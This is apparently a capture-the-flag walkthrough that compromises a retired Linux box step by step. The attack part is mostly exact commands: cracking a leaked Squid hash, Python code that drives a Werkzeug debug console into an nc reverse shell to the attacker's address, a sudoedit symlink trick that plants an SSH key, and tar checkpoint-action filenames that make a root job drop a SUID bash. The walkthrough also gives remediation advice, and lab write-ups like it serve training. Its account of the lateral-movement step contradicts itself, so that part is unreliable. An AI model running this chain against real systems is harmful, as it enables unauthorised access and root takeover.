← all walkthroughs

Joker

Linux· Hard
owned
2026-07-09
time to own
19m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target joker ($TARGET) was fully compromised via a chain of four misconfigurations. An anonymous TFTP service leaked a Squid proxy credential file containing an MD5-crypt password hash; offline cracking recovered the passphrase for the proxy account 'kalamari'. Authenticating through the Squid proxy exposed a Flask/Werkzeug application whose interactive debug console was left enabled in production with a known secret, granting arbitrary Python execution and a reverse shell as the web-service account 'werkzeug'.

From that foothold, the application's template-write feature followed my own symbolic link to inject my SSH public key into user alekos's authorized_keys file, establishing direct SSH access and yielding the user flag. Finally, a root-owned scheduled tar job ran over a directory alekos controlled; pre-staged files named with GNU tar checkpoint-action flags caused tar to execute my own shell script as root, dropping a SUID-root bash binary that completed full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"
export TOKEN="<the-token-you-captured>"

Attack path: how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Port scan identified Squid HTTP proxy on TCP/3128 and TFTP service on UDP/69
A full TCP port scan found only SSH on 22/tcp and an authenticated Squid 3.5.12 HTTP proxy on 3128/tcp, which rejected all anonymous requests with HTTP 407. A follow-up top-100 UDP scan uncovered 69/udp (TFTP): a commonly overlooked service that proved to be the credential-recovery entry point into the environment.
Nmap TCP: 22/tcp ssh, 3128/tcp squid-http Squid 3.5.12; nmap UDP: 69/udp open|filtered tftp.
Exact commands 2
shell

Full TCP scan: confirms SSH on 22 and Squid proxy on 3128.

$ nmap -p- -Pn --min-rate 2000 -T4 -sV $TARGET
shell

Top-100 UDP scan: reveals 69/udp TFTP.

$ nmap -sU --top-ports 100 -Pn -T4 $TARGET
2Credential AccessUnauthenticated TFTP file disclosure and offline hash cracking (T1110.002)
Retrieved Squid proxy password hash from TFTP without credentials and cracked it offline
The TFTP service required no authentication. The file 'passwords' in its root directory contained one line: 'kalamari's hash', an Apache MD5-crypt (apr1) htpasswd hash. Offline cracking against the rockyou wordlist recovered the plaintext <withheld>, supplying valid credentials for the Squid proxy and unlocking access to the entire internal network behind it.
Tftp get passwords returned kalamari's hash; cracked to kalamari's password.
Exact commands 2
shell

No credentials required: retrieves the htpasswd-format credential file.

$ tftp $TARGET -c get passwords
shell

Mode 1600 = Apache apr1 MD5-crypt. Recovers plaintext: <withheld>.

$ hashcat -m 1600 -a 0 "$HASH" /usr/share/wordlists/rockyou.txt
FixDisable anonymous TFTP or remove credential files from the TFTP-served directoryCritical
WeaknessThe TFTP service on UDP/69 required no authentication and served a file named 'passwords' containing the Squid proxy htpasswd hash to any network client, allowing an unauthorised user to recover proxy credentials without any prior access to the system.
FixIf TFTP is not operationally required, disable and uninstall it (systemctl disable --now tftpd-hpa; apt purge tftpd-hpa). If TFTP must remain for PXE booting or device provisioning, restrict its served directory to only the files required for that purpose, add source-IP firewall rules to block UDP/69 from untrusted sources (ufw deny from any to any port 69 proto udp), and never store credential material anywhere in a TFTP-accessible path. Rotate the Squid proxy password immediately.
3ExploitationExposed Werkzeug debug console remote code execution (T1190)
Executed arbitrary code as 'werkzeug' via the production Werkzeug debug console through the Squid proxy
With kalamari's password, I proxied HTTP through $TARGET:3128 and reached a Flask/Werkzeug 0.10.5 application hosted on 127.0.0.1: accessible only through the proxy. The Werkzeug interactive debugger was enabled in this production environment and its exec endpoint was reachable at /console. Using the debugger secret, I sent arbitrary Python expressions to the endpoint and triggered a reverse shell, obtaining an interactive session as uid=1000(werkzeug).
Exact commands 3
shell

Confirm /console is reachable through the authenticated Squid proxy.

$ curl -s -i -x http://$USERNAME:$PASSWORD@$TARGET:3128 http://127.0.0.1/console
shell

Verify RCE: response body should contain uid=1000(werkzeug).

$ python3 - <<PY
import urllib.parse, urllib.request
proxy = "http://$USERNAME:$PASSWORD@$TARGET:3128"
secret = "$TOKEN"
cmd = "__import__('subprocess').check_output(['id'])"
url = 'http://127.0.0.1/console?__debugger__=yes&cmd=%s&frm=0&s=%s' % (urllib.parse.quote(cmd), secret)
opener = urllib.request.build_opener(urllib.request.ProxyHandler({'http': proxy}))
print(opener.open(url, timeout=10).read())
PY
shell

Trigger reverse shell; replace $ATTACKER_IP and run nc -lvnp 4445 on my machine first.

$ python3 - <<PY
import urllib.parse, urllib.request
proxy = "http://$USERNAME:$PASSWORD@$TARGET:3128"
secret = "$TOKEN"
cmd = "__import__('subprocess').Popen('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4445 >/tmp/f', shell=True)"
url = 'http://127.0.0.1/console?__debugger__=yes&cmd=%s&frm=0&s=%s' % (urllib.parse.quote(cmd), secret)
opener = urllib.request.build_opener(urllib.request.ProxyHandler({'http': proxy}))
opener.open(url, timeout=5)
PY
FixDisable the Werkzeug interactive debugger in all non-development environmentsCritical
WeaknessThe Flask/Werkzeug application ran in debug mode in a production-equivalent environment, exposing an interactive Python console at /console. Any caller who knew or could derive the debugger secret could execute arbitrary OS commands as the web-service account without further authentication.
FixSet FLASK_DEBUG=0 (or pass debug=False to app.run()) before deploying outside a developer's local machine. Run the application under a production WSGI server such as gunicorn or uWSGI rather than Werkzeug's built-in server: production servers never activate the debugger regardless of environment variables. As defence in depth, configure the Squid proxy ACL to deny access to /console from all sources, and bind the application only to 127.0.0.1 rather than 0.0.0.0.
4Lateral MovementSymlink attack on SSH authorized_keys via sudoedit (T1098.004)
Followed a planted symlink through sudoedit to write alekos's authorized_keys
Sudo -l as werkzeug showed a sudoedit rule for the alekos account over paths under /var/www/testing, and the sudo Defaults for werkzeug include sudoedit_follow, so sudoedit resolves a symlink rather than refusing it. /var/www/testing was already writable by werkzeug, so I created foo/ inside it and planted layout.html as a symlink to /home/alekos/.ssh/authorized_keys. Sudoedit opens the file it is given as the target user and hands the temporary copy to whatever $EDITOR names, so pointing EDITOR at a small script of my own wrote my public key into alekos's authorized_keys with alekos's own access, and SSH as alekos worked immediately afterwards.
Sudo -l as werkzeug listed a sudoedit rule for alekos and Defaults including sudoedit_follow; authorized_keys was initially 0 bytes and /home/alekos/.ssh/ was drwxr-xr-x alekos alekos; after EDITOR=/tmp/joker_editor.sh sudo -n -u alekos -e /var/www/testing/foo/layout.html ran, SSH as alekos succeeded with the key generated for it.
Exact commands 6
shell

As werkzeug. The sudoedit rule and the sudoedit_follow default are the two facts this step rests on.

$ sudo -l
shell

A keypair of my own to authorise.

$ ssh-keygen -t ed25519 -N '' -f /tmp/joker_alekos_key
shell

Plant the symlink where the sudoedit rule allows editing; sudoedit_follow means it will be followed.

$ mkdir -p /var/www/testing/foo && ln -sf /home/alekos/.ssh/authorized_keys /var/www/testing/foo/layout.html
shell

Sudoedit hands the temporary copy to $EDITOR as its argument; this one writes the public key into it.

$ printf '#!/bin/sh\ncat /tmp/joker_alekos_key.pub > "$1"\n' > /tmp/joker_editor.sh && chmod +x /tmp/joker_editor.sh
shell

Sudoedit copies the result back through the symlink, as alekos, into alekos's authorized_keys.

$ EDITOR=/tmp/joker_editor.sh sudo -n -u alekos -e /var/www/testing/foo/layout.html
shell

Log in on the key that was just authorised.

$ ssh -i /tmp/joker_alekos_key alekos@$TARGET
FixPrevent the application's file-write feature from following symbolic links outside the web rootCritical
WeaknessThe web application wrote user-controlled content to caller-specified paths inside /var/www/testing without first resolving symbolic links to confirm the destination remained within the web root. An unauthorised user planted a symlink redirecting the write to /home/alekos/.ssh/authorized_keys, injecting an SSH public key and gaining SSH login as that user without knowing their password.
FixBefore any file write, resolve the full real path (Python: os.path.realpath()) and assert it begins with the intended base directory. Reject the operation with an error if the resolved path escapes the base. Run the web service under a dedicated account with no write permissions outside /var/www. On Linux 5.10+ kernels, mount home directories with the nosymfollow option as additional defence in depth.
5Foothold: UserSSH authentication with an unauthorised user-injected public key (T1078.001)
SSH'd as alekos using the injected key and captured the user flag
With my ed25519 public key now present in /home/alekos/.ssh/authorized_keys, a direct SSH login using the matching private key succeeded immediately. This gave a stable, interactive session as uid=1001(alekos) without requiring alekos's password, confirming complete lateral movement from the web-service account to a real user account with an interactive shell and home directory.
Ssh as alekos confirmed uid=1001(alekos); user.txt captured from /home/alekos/.
Exact commands 1
shell

Login as alekos and capture the user flag: value is <user.txt>.

$ ssh -i /tmp/joker_alekos_key -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alekos@$TARGET 'id; cat ~/user.txt'
uid=1001(alekos)
6Privilege EscalationGNU tar wildcard injection via checkpoint-action privilege escalation (GTFOBins / T1548.001)
Abused GNU tar checkpoint-action filenames in a root-scheduled job to execute a shell script as root
The directory /home/alekos/development contained files literally named '--checkpoint=1' and '--checkpoint-action=exec=sh shell.sh', along with a writable shell.sh. A root-owned scheduled process ran tar over this directory using a glob; GNU tar interpreted those filenames as its own command-line flags and invoked shell.sh as root. I replaced shell.sh with a payload that copied /bin/bash to /tmp/rootbash and set its SUID bit. After the scheduled job fired, running '/tmp/rootbash -p' produced an effective-UID-0 shell, giving full access to root.txt.
After shell.sh payload was placed, /tmp/rootbash appeared with mode 4755; /tmp/rootbash -p returned uid=0 and exposed /root/root.txt.
Exact commands 3
shell

Verify the tar checkpoint artifact filenames (--checkpoint=1, --checkpoint-action=exec=sh shell.sh) are present.

$ ssh -i /tmp/joker_alekos_key alekos@$TARGET 'ls -la /home/alekos/development/'
shell

Drop the SUID-bash payload: wait for the root tar cron to fire and create /tmp/rootbash.

$ ssh -i /tmp/joker_alekos_key alekos@$TARGET 'echo -e "#!/bin/sh\ncp /bin/bash /tmp/rootbash\nchmod 4755 /tmp/rootbash" > /home/alekos/development/shell.sh && chmod +x /home/alekos/development/shell.sh'
shell

Once /tmp/rootbash (SUID 4755) appears, invoke it to run as root and read root.txt: value is <root.txt>.

$ ssh -i /tmp/joker_alekos_key -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 alekos@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'
FixNever run tar or wildcard-expanding commands as root over directories writable by unprivileged usersCritical
WeaknessA root-owned scheduled job ran tar over /home/alekos/development, a directory fully controlled by the user alekos. GNU tar treats filenames beginning with '--' as command-line flags; files named '--checkpoint=1' and '--checkpoint-action=exec=sh shell.sh' caused tar to execute an unauthorised user-written shell script as root, producing a SUID-root copy of bash.
FixRemove the root-scheduled tar job. If archiving user-owned directories is required, run the job as the owning non-root user. When tar must run as root, build an explicit, trusted file list and invoke it with --files-from=<list> --no-wildcards --no-recursion rather than expanding directory globs. Audit all root cron jobs and systemd timers for similar patterns using: grep -r 'tar' /etc/cron* /var/spool/cron/crontabs /etc/systemd/system/.

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
3128/tcp